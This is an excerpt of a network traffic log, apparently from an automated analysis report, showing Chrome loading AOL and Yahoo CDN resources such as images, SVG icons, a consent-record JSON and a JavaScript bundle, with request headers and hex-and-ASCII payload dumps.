2024-05-23 22:34:43 UTC	1300	IN	Data Raw: 2e 31 7a 20 4d 36 31 2e 31 2c 37 2e 33 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2e 31 2d 30 2e 33 2c 30 2e 31 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2d 30 2e 34 2c 30 2e 31 63 2d 30 2e 31 2c 30 2d 30 2e 33 2c 30 2d 30 2e 34 2c 30 2e 31 0a 09 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2e 31 2d 30 2e 34 2c 30 2e 31 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2e 31 2d 30 2e 33 2c 30 2e 32 63 2d 30 2e 31 2c 30 2e 31 2d 30 2e 32 2c 30 2e 31 2d 30 2e 32 2c 30 2e 33 43 35 39 2e 31 2c 38 2e 31 2c 35 39 2c 38 2e 32 2c 35 39 2c 38 2e 34 63 30 2c 30 2e 31 2c 30 2c 30 2e 33 2c 30 2e 31 2c 30 2e 34 0a 09 63 30 2e 31 2c 30 2e 31 2c 30 2e 31 2c 30 2e 32 2c 30 2e 32 2c 30 2e 32 63 30 2e 31 2c 30 2e 31 2c 30 2e 32 2c 30 2e 31 2c 30 2e 33 2c 30 2e 31 63 30 2e 31 2c 30 2c 30 2e 33 2c Data Ascii: .1z M61.1,7.3c-0.1,0-0.2,0.1-0.3,0.1c-0.1,0-0.2,0-0.4,0.1c-0.1,0-0.3,0-0.4,0.1c-0.1,0-0.2,0.1-0.4,0.1c-0.1,0-0.2,0.1-0.3,0.2c-0.1,0.1-0.2,0.1-0.2,0.3C59.1,8.1,59,8.2,59,8.4c0,0.1,0,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.2c0.1,0.1,0.2,0.1,0.3,0.1c0.1,0,0.3,
2024-05-23 22:34:43 UTC	578	IN	Data Raw: 35 2e 36 20 4d 35 32 2e 39 2c 38 2e 37 43 35 33 2e 32 2c 39 2c 35 33 2e 35 2c 39 2e 31 2c 35 34 2c 39 2e 31 0a 09 63 30 2e 33 2c 30 2c 30 2e 36 2d 30 2e 31 2c 30 2e 39 2d 30 2e 32 63 30 2e 32 2d 30 2e 32 2c 30 2e 34 2d 30 2e 33 2c 30 2e 34 2d 30 2e 35 68 31 2e 35 63 2d 30 2e 32 2c 30 2e 37 2d 30 2e 36 2c 31 2e 32 2d 31 2e 31 2c 31 2e 35 63 2d 30 2e 35 2c 30 2e 33 2d 31 2e 31 2c 30 2e 35 2d 31 2e 38 2c 30 2e 35 63 2d 30 2e 35 2c 30 2d 30 2e 39 2d 30 2e 31 2d 31 2e 33 2d 30 2e 32 0a 09 63 2d 30 2e 34 2d 30 2e 32 2d 30 2e 37 2d 30 2e 34 2d 31 2d 30 2e 36 63 2d 30 2e 33 2d 30 2e 33 2d 30 2e 35 2d 30 2e 36 2d 30 2e 36 2d 31 63 2d 30 2e 31 2d 30 2e 34 2d 30 2e 32 2d 30 2e 38 2d 30 2e 32 2d 31 2e 33 63 30 2d 30 2e 35 2c 30 2e 31 2d 30 2e 39 2c 30 2e 32 2d 31 2e Data Ascii: 5.6 M52.9,8.7C53.2,9,53.5,9.1,54,9.1c0.3,0,0.6-0.1,0.9-0.2c0.2-0.2,0.4-0.3,0.4-0.5h1.5c-0.2,0.7-0.6,1.2-1.1,1.5c-0.5,0.3-1.1,0.5-1.8,0.5c-0.5,0-0.9-0.1-1.3-0.2c-0.4-0.2-0.7-0.4-1-0.6c-0.3-0.3-0.5-0.6-0.6-1c-0.1-0.4-0.2-0.8-0.2-1.3c0-0.5,0.1-0.9,0.2-1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49812	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:43 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F7bc91ad0-1009-11ec-bfea-2182b7e056ce&client=76f99bdb8f78cd44cc0b&signature=288593dd0d822231ec18e08bd43dabcce5aeea31 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53644 Cache-Control: public, max-age=2592000 Cache-Tag: 457935326151757118911061591064955503832,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100094-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 103 Content-Type: image/png Date: Thu, 23 May 2024 22:34:43 GMT Edge-Cache-Tag: 457935326151757118911061591064955503832,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "12b179dfac257ba3cf6eadbc3d4f5057" Expiration: expiry-date="Wed, 17 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 18 Jan 2024 14:48:07 GMT Server: ECAcc (lhd/35B9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=457,owidth=400,oheight=400,obytes=158455,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000132-IAD X-Timer: S1711266039.355246,VS0,VE15 Content-Length: 457 Connection: close
2024-05-23 22:34:43 UTC	457	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 a5 50 4c 54 45 47 70 4c 22 27 27 3f 47 50 33 3b 44 27 31 37 2f 35 3d 21 29 30 22 2a 30 14 19 1c 15 1b 20 32 3a 43 32 3a 43 17 1c 1d 2d 37 3f 39 3b 42 49 50 55 1b 21 29 28 31 38 14 19 1a 14 18 1a 2d 36 3f 31 38 40 a4 a4 a4 aa a9 a9 e8 e8 e9 d0 d1 d1 e3 e3 e2 8e 90 92 ac ad af 72 76 78 69 6c 71 ba ba bb 9d 9e 9e c9 c9 c9 c2 c2 c2 b4 b5 b6 1f 25 2e 23 2a 31 db dc dc 96 9a 9b d6 d6 d6 52 57 5b 2f 35 39 5b 5e 62 b1 b3 b3 a6 aa ad a0 a2 a1 df e0 e0 82 85 8a 80 83 86 60 63 63 63 66 67 85 89 8f d3 d4 d4 c3 c5 c7 71 1e b7 d1 00 00 00 16 74 52 4e 53 00 f9 f9 d9 98 f9 d9 09 99 31 97 31 c1 c1 fe fe 97 31 d9 d9 9a 9a 88 5b 29 0d 00 00 00 bd 49 44 41 54 18 19 2d Data Ascii: PNGIHDR(-SPLTEGpL"''?GP3;D'17/5=!)0"0 2:C2:C-7?9;BIPU!)(18-6?18@rvxilq%.#1RW[/59[^b`cccfgqtRNS111[)IDAT-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49814	52.17.240.55	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:43 UTC	751	OUT	GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1 Host: guce.aol.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-05-23 22:34:43 UTC	206	IN	HTTP/1.1 200 OK Connection: close Server: guce Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: application/json Content-Length: 140 Date: Thu, 23 May 2024 22:34:43 GMT
2024-05-23 22:34:43 UTC	140	IN	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 22 32 37 6c 6c 39 31 64 6a 34 76 68 33 6d 22 2c 22 69 64 65 6e 74 69 66 69 65 72 54 79 70 65 22 3a 22 62 69 64 22 2c 22 74 6f 73 52 65 63 6f 72 64 73 22 3a 7b 22 6e 6f 6e 45 75 22 3a 7b 22 63 6f 6e 73 65 6e 74 45 76 65 6e 74 73 22 3a 7b 22 69 61 62 43 43 50 41 22 3a 22 31 59 4e 4e 22 2c 22 67 70 70 22 3a 22 44 42 41 41 22 2c 22 67 70 70 53 69 64 22 3a 22 2d 31 22 7d 7d 7d 7d Data Ascii: {"identifier":"27ll91dj4vh3m","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49813	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:43 UTC	567	OUT	GET /caas-assets-production/assets/v1/weather.3d67f0f30b8148ec.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	636	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 660709 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:43 GMT Etag: "3d67f0f30b8148ec69a5723a60441085" Last-Modified: Thu, 16 May 2024 06:52:15 GMT Server: ECAcc (lhd/35ED) Vary: Accept-Encoding x-amz-id-2: 9AfLfBFfFA97vzwXxjkqjrL3UptiL3jDasDq1OQ0lmR0DMp4rUH4XM1IDrTVxsKG+zWi5paye6E= x-amz-replication-status: COMPLETED x-amz-request-id: VEWPPBT1BCKHFKJ0 x-amz-server-side-encryption: AES256 x-amz-version-id: kYBzrnfaNwqdt1Mv9Lcmc0v0vGIR1fCL X-Cache: HIT Content-Length: 517061 Connection: close
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 4c 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 3a 4c 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(L,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():L.CAAS_AOLCOM=e()}(self,(function(){return function(){var
2024-05-23 22:34:43 UTC	1	IN	Data Raw: 32 Data Ascii: 2
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 38 4c 32 32 35 2e 39 31 20 32 31 37 2e 38 37 4c 32 32 35 2e 39 34 20 32 31 37 2e 34 36 4c 32 32 35 2e 39 35 20 32 31 37 2e 30 34 4c 32 32 35 2e 39 35 20 31 30 38 2e 35 32 4c 32 30 33 2e 36 39 20 31 30 38 2e 35 32 4c 32 30 33 2e 38 31 20 31 30 38 2e 39 38 4c 32 30 33 2e 39 33 20 31 30 39 2e 34 34 4c 32 30 34 2e 30 35 20 31 30 39 2e 39 31 4c 32 30 34 2e 31 37 20 31 31 30 2e 33 37 4c 32 30 34 2e 32 39 20 31 31 30 2e 38 34 4c 32 30 34 2e 34 20 31 31 31 2e 33 31 4c 32 30 34 2e 35 31 20 31 31 31 2e 37 38 4c 32 30 34 2e 36 32 20 31 31 32 2e 32 36 4c 32 30 34 2e 37 32 20 31 31 32 2e 37 33 4c 32 30 34 2e 38 33 20 31 31 33 2e 32 31 4c 32 30 34 2e 39 33 20 31 31 33 2e 36 39 4c 32 30 35 2e 30 32 20 31 31 34 2e 31 37 4c 32 30 35 2e 31 32 20 31 31 34 2e 36 35 4c 32 30 Data Ascii: 8L225.91 217.87L225.94 217.46L225.95 217.04L225.95 108.52L203.69 108.52L203.81 108.98L203.93 109.44L204.05 109.91L204.17 110.37L204.29 110.84L204.4 111.31L204.51 111.78L204.62 112.26L204.72 112.73L204.83 113.21L204.93 113.69L205.02 114.17L205.12 114.65L20
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 2e 33 31 2c 31 2e 37 31 30 30 30 30 30 30 30 30 30 30 30 30 30 39 2c 31 34 35 2e 32 31 4c 31 30 2e 35 2c 31 34 37 2e 33 34 48 31 30 2e 35 5a 4d 39 2e 33 37 30 30 30 30 30 30 30 30 30 30 30 30 31 2c 31 35 36 43 39 2e 33 37 30 30 30 30 30 30 30 30 30 30 30 30 31 2c 31 35 35 2e 38 36 2c 31 31 2e 36 33 2c 31 34 37 2e 37 35 2c 31 31 2e 36 36 2c 31 34 37 2e 36 33 43 31 34 2e 39 39 2c 31 34 38 2e 36 33 2c 31 35 2e 30 36 2c 31 34 38 2e 34 37 2c 31 35 2e 36 36 2c 31 34 35 2e 31 43 31 35 2e 37 36 2c 31 34 35 2e 31 2c 32 33 2e 39 37 2c 31 34 36 2e 37 39 39 39 39 39 39 39 39 39 39 39 39 38 2c 32 34 2e 30 38 2c 31 34 36 2e 38 32 4c 39 2e 33 37 2c 31 35 36 5a 20 4d 31 37 39 2e 39 33 2c 31 34 32 2e 30 36 43 31 37 39 2e 30 37 2c 31 34 32 2e 36 31 2c 31 35 30 2e 38 36 2c Data Ascii: .31,1.7100000000000009,145.21L10.5,147.34H10.5ZM9.370000000000001,156C9.370000000000001,155.86,11.63,147.75,11.66,147.63C14.99,148.63,15.06,148.47,15.66,145.1C15.76,145.1,23.97,146.79999999999998,24.08,146.82L9.37,156Z M179.93,142.06C179.07,142.61,150.86,
2024-05-23 22:34:43 UTC	2	IN	Data Raw: 34 2e Data Ascii: 4.
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 37 37 20 32 31 31 2e 31 37 4c 35 2e 32 38 20 32 31 30 2e 30 32 4c 35 2e 38 34 20 32 30 38 2e 39 4c 36 2e 34 33 20 32 30 37 2e 38 4c 37 2e 30 37 20 32 30 36 2e 37 33 4c 37 2e 37 35 20 32 30 35 2e 36 38 4c 38 2e 34 36 20 32 30 34 2e 36 37 4c 39 2e 32 32 20 32 30 33 2e 36 38 4c 31 30 2e 30 31 20 32 30 32 2e 37 32 4c 31 30 2e 38 33 20 32 30 31 2e 38 4c 31 31 2e 36 39 20 32 30 30 2e 39 4c 31 32 2e 35 38 20 32 30 30 2e 30 34 4c 31 33 2e 35 31 20 31 39 39 2e 32 32 4c 31 34 2e 34 37 20 31 39 38 2e 34 33 4c 31 35 2e 34 35 20 31 39 37 2e 36 38 4c 31 36 2e 34 37 20 31 39 36 2e 39 36 4c 31 37 2e 35 31 20 31 39 36 2e 32 38 4c 31 38 2e 35 38 20 31 39 35 2e 36 35 4c 31 39 2e 36 38 20 31 39 35 2e 30 35 4c 32 30 2e 38 20 31 39 34 2e 34 39 4c 32 31 2e 39 35 20 31 39 33 2e Data Ascii: 77 211.17L5.28 210.02L5.84 208.9L6.43 207.8L7.07 206.73L7.75 205.68L8.46 204.67L9.22 203.68L10.01 202.72L10.83 201.8L11.69 200.9L12.58 200.04L13.51 199.22L14.47 198.43L15.45 197.68L16.47 196.96L17.51 196.28L18.58 195.65L19.68 195.05L20.8 194.49L21.95 193.
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 33 2c 32 36 2e 30 36 2c 32 31 30 2e 39 38 2c 32 36 2e 30 31 2c 32 31 30 2e 39 38 43 32 36 2e 31 31 2c 32 31 30 2e 39 38 2c 32 36 2e 32 36 2c 32 31 30 2e 39 33 2c 32 36 2e 35 31 2c 32 31 30 2e 39 33 43 32 30 2e 32 31 2c 32 31 30 2e 39 33 2c 31 35 2e 31 31 2c 32 30 35 2e 38 38 2c 31 35 2e 31 31 2c 31 39 39 2e 37 33 43 31 35 2e 31 31 2c 32 30 30 2e 32 33 2c 31 35 2e 32 31 2c 31 39 39 2e 35 33 2c 31 35 2e 33 31 2c 31 39 39 2e 30 38 43 31 35 2e 35 31 2c 31 39 38 2e 30 33 2c 31 35 2e 37 36 2c 31 39 36 2e 35 38 2c 31 36 2e 31 31 2c 31 39 34 2e 37 33 43 31 36 2e 38 31 2c 31 39 31 2e 31 33 2c 31 37 2e 38 31 2c 31 38 36 2e 30 37 2c 31 39 2e 30 36 2c 31 37 39 2e 36 37 43 32 31 2e 33 31 2c 31 36 38 2e 33 37 2c 32 34 2e 34 31 2c 31 35 33 2e 30 36 2c 32 38 2e 31 36 2c Data Ascii: 3,26.06,210.98,26.01,210.98C26.11,210.98,26.26,210.93,26.51,210.93C20.21,210.93,15.11,205.88,15.11,199.73C15.11,200.23,15.21,199.53,15.31,199.08C15.51,198.03,15.76,196.58,16.11,194.73C16.81,191.13,17.81,186.07,19.06,179.67C21.31,168.37,24.41,153.06,28.16,
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 33 31 2e 33 39 4c 34 37 2e 33 32 2c 33 31 2e 30 37 4c 34 37 2e 36 31 2c 33 30 2e 37 36 4c 34 37 2e 39 31 2c 33 30 2e 34 35 4c 34 38 2e 32 31 2c 33 30 2e 31 34 4c 34 38 2e 35 31 2c 32 39 2e 38 34 4c 34 38 2e 38 32 2c 32 39 2e 35 34 4c 34 39 2e 31 33 2c 32 39 2e 32 35 4c 34 39 2e 34 35 2c 32 38 2e 39 36 4c 34 39 2e 37 37 2c 32 38 2e 36 37 4c 35 30 2e 30 39 2c 5c 6e 20 20 20 20 32 38 2e 33 39 4c 35 30 2e 34 32 2c 32 38 2e 31 32 4c 35 30 2e 37 36 2c 32 37 2e 38 35 4c 35 31 2e 30 39 2c 32 37 2e 35 38 4c 35 31 2e 34 34 2c 32 37 2e 33 32 4c 35 31 2e 37 39 2c 32 37 2e 30 37 4c 35 32 2e 31 34 2c 32 36 2e 38 32 4c 35 32 2e 35 2c 32 36 2e 35 37 4c 35 32 2e 38 36 2c 32 36 2e 33 33 4c 35 33 2e 32 32 2c 32 36 2e 30 39 4c 35 33 2e 36 2c 32 35 2e 38 36 4c 35 33 2e 39 37 Data Ascii: 31.39L47.32,31.07L47.61,30.76L47.91,30.45L48.21,30.14L48.51,29.84L48.82,29.54L49.13,29.25L49.45,28.96L49.77,28.67L50.09,\n 28.39L50.42,28.12L50.76,27.85L51.09,27.58L51.44,27.32L51.79,27.07L52.14,26.82L52.5,26.57L52.86,26.33L53.22,26.09L53.6,25.86L53.97
2024-05-23 22:34:43 UTC	16383	IN	Data Raw: 31 35 31 4c 31 36 35 2e 32 31 2c 31 35 31 2e 30 37 4c 31 36 35 2e 34 31 2c 31 35 31 2e 31 35 4c 31 36 35 2e 36 31 2c 31 35 31 2e 32 33 4c 31 36 35 2e 38 2c 31 35 31 2e 33 33 4c 31 36 35 2e 39 39 2c 31 35 31 2e 34 33 4c 31 36 36 2e 31 37 2c 31 35 31 2e 35 35 4c 31 36 36 2e 33 35 2c 31 35 31 2e 36 37 4c 31 36 36 2e 35 32 2c 31 35 31 2e 37 39 4c 31 36 36 2e 36 39 2c 31 35 31 2e 39 33 4c 31 36 36 2e 38 35 2c 31 35 32 2e 30 37 4c 31 36 37 2c 31 35 32 2e 32 32 4c 31 36 37 2e 31 35 2c 31 35 32 2e 33 37 4c 31 36 37 2e 32 39 2c 31 35 32 2e 35 33 4c 31 36 37 2e 34 32 2c 31 35 32 2e 37 4c 31 36 37 2e 35 34 2c 31 35 32 2e 38 37 4c 31 36 37 2e 36 36 2c 31 35 33 2e 30 35 4c 31 36 37 2e 37 37 2c 31 35 33 2e 32 33 4c 31 36 37 2e 38 37 2c 31 35 33 2e 34 32 4c 31 36 37 2e Data Ascii: 151L165.21,151.07L165.41,151.15L165.61,151.23L165.8,151.33L165.99,151.43L166.17,151.55L166.35,151.67L166.52,151.79L166.69,151.93L166.85,152.07L167,152.22L167.15,152.37L167.29,152.53L167.42,152.7L167.54,152.87L167.66,153.05L167.77,153.23L167.87,153.42L167.
2024-05-23 22:34:43 UTC	4	IN	Data Raw: 2e 30 31 2c Data Ascii: .01,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49815	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:43 UTC	750	OUT	GET /nex/modules/yahoo_sports_scores/v1/?isXHR=true&m_mode=json HTTP/1.1 Host: www.aol.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-05-23 22:34:43 UTC	775	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:43 GMT Content-Type: application/json; charset=utf-8 X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Vary: x-aol-domain, Accept-Encoding Status-Code: 200 X-App-Version: 70.0.0 X-Applet-Version: 1 Age: 0 Server: ATS Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:43 UTC	45	IN	Data Raw: 32 32 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 5b 5d 7d 2c 22 68 74 6d 6c 22 3a 22 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 22{"data":{"response":[]},"html":""}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49816	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:43 UTC	394	OUT	GET /cv/apiv2/aolfp/images/weather/small/28-mostly-cloudy-day.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	795	IN	HTTP/1.1 200 OK x-amz-id-2: +phIxauHro4Xf2JeA6L3MVd/wXjOhatwiqzJUw066IGAPql3Q7FPVSJA+L2/KEs0SKNAArNZY3A= x-amz-request-id: FMH8JP64W9MH7T3X Date: Mon, 22 Apr 2024 12:11:32 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "3daa5cc631cb08eb9214c55b101fa701" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1896 Referrer-Policy: no-referrer-when-downgrade Age: 2715792 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-05-23 22:34:43 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 31 20 33 32 43 32 38 2e 31 37 39 37 20 33 32 20 33 34 20 32 36 2e 31 37 39 37 20 33 34 20 31 39 43 33 34 20 31 31 2e 38 32 30 33 20 32 38 2e 31 37 39 37 20 36 20 32 31 20 36 43 31 33 2e 38 32 30 33 20 36 20 38 20 31 31 2e 38 32 30 33 20 38 20 31 39 43 38 20 32 36 2e 31 37 39 37 20 31 33 2e 38 32 30 33 20 33 32 20 32 31 20 33 32 5a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 35 34 30 29 22 2f Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M21 32C28.1797 32 34 26.1797 34 19C34 11.8203 28.1797 6 21 6C13.8203 6 8 11.8203 8 19C8 26.1797 13.8203 32 21 32Z" fill="url(#paint0_linear_104_540)"/
2024-05-23 22:34:43 UTC	596	IN	Data Raw: 39 39 34 34 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 44 45 30 30 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 41 37 30 30 22 2f 3e 0a 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 31 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 35 34 30 22 20 78 31 3d 22 31 35 2e 38 33 31 22 20 79 31 3d 22 32 37 2e 30 39 38 32 22 20 78 32 3d 22 32 36 2e 35 31 36 38 22 20 79 32 3d 22 31 35 2e 32 31 33 39 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 3e 0a 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 42 39 32 42 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 Data Ascii: 9944" stop-color="#FFDE00"/><stop offset="1" stop-color="#FFA700"/></linearGradient><linearGradient id="paint1_linear_104_540" x1="15.831" y1="27.0982" x2="26.5168" y2="15.2139" gradientUnits="userSpaceOnUse"><stop stop-color="#FFB92B" 